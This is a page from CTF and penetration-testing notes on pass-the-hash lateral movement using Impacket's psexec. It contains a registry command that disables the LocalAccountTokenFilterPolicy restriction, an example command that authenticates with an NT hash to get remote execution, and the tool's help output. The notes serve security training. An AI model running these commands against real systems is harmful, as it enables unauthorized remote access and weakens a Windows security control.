> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/lat-mov/pth/pth-with-impacket.md).

# PtH with Impacket

## PtH Attacks

{% hint style="info" %}
**WARNING:**

Only the local Administrator's hash can be used reliably in PtH-attacks!

This is due to the [**LocalAccountTokenFilterPolicy**](https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction#uac-remote-settings).

One of the features implemented by UAC, **LocalAccountTokenFilterPolicy**, strips any local account of its administrative privileges when logging in remotely.

To be able to regain administration privileges from your user, we'll have to disable LocalAccountTokenFilterPolicy by changing the following registry key to 1:

```bat
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1 
```

{% endhint %}

### PtH with psexec.py

The generic format for credentials and destination, also known as target, are:

```
[[domain/]username[:password]@]<targetName or address>
```

The format for the `--hashes` parameter is "LMHash:NTHash".&#x20;

Normally, only the NTHash value is important and the LMHash can be set to either:&#x20;

* 32 0's (`00000000000000000000000000000000`) or
* the value for an empty hash (`aad3b435b51404eeaad3b435b51404ee`) or
* nothing (the total hash will be just `:<NT_hash>`)

Example:

```bash
impacket-psexec -hashes :7a38310ea6f0027ee955abed1762964b Administrator@192.168.50.212
```

{% hint style="info" %}
**WARNING:** \
Windows Defender will recognize psexec.py as `VirTool:Win32/RemoteExec`&#x20;
{% endhint %}

{% hint style="info" %}
NOTE:\
`impacket-psexec` is really a symbolic link that point to `/usr/share/impacket/script` which is just a wrapper script:

```bash
┌──(kali㉿kali)-[~]
└─$ cat /usr/share/impacket/script
#!/bin/sh

name_script=$(basename $0)
example_name=${name_script##impacket-}

exec python3 /usr/share/doc/python3-impacket/examples/$example_name.py "$@"
```

{% endhint %}

### Usage information

<details>

<summary>impacket-psexec -h</summary>

```bash
┌──(kali㉿kali)-[~]
└─$ impacket-psexec -h                                       
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug] [-codec CODEC] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]] [-service-name service_name] [-remote-binary-name remote_binary_name]
                 target [command ...]

PSEXEC like functionality example using RemComSvc.

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  command               command (or arguments if -c is used) to execute at the target (w/o path) - (default:cmd.exe)

options:
  -h, --help            show this help message and exit
  -c pathname           copy the filename for later execution, arguments are passed in the command option
  -path PATH            path of the command to execute
  -file FILE            alternative RemCom binary (be sure it doesn't require CRT)
  -ts                   adds timestamp to every logging output
  -debug                Turn DEBUG output ON
  -codec CODEC          Sets encoding used (codec) from the target's output (default "utf-8"). If errors are detected, run chcp.com at the target, map the result with
                        https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py again with -codec and the corresponding codec

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)
  -keytab KEYTAB        Read keys for SPN from keytab file

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server
  -service-name service_name
                        The name of the service used to trigger the payload
  -remote-binary-name remote_binary_name
                        This will be the name of the executable uploaded on the target

```

</details>

## Resources

Impacket - GitHub: <https://github.com/fortra/impacket>

Impacket - Homepage: <https://www.coresecurity.com/core-labs/impacket>

Impacket - Kali Tools: <https://www.kali.org/tools/impacket/>

Impacket-scripts - Kali Tools: <https://www.kali.org/tools/impacket-scripts/>

Pass the Hash (T1550.002) - MITRE ATT\&CK: <https://attack.mitre.org/techniques/T1550/002/>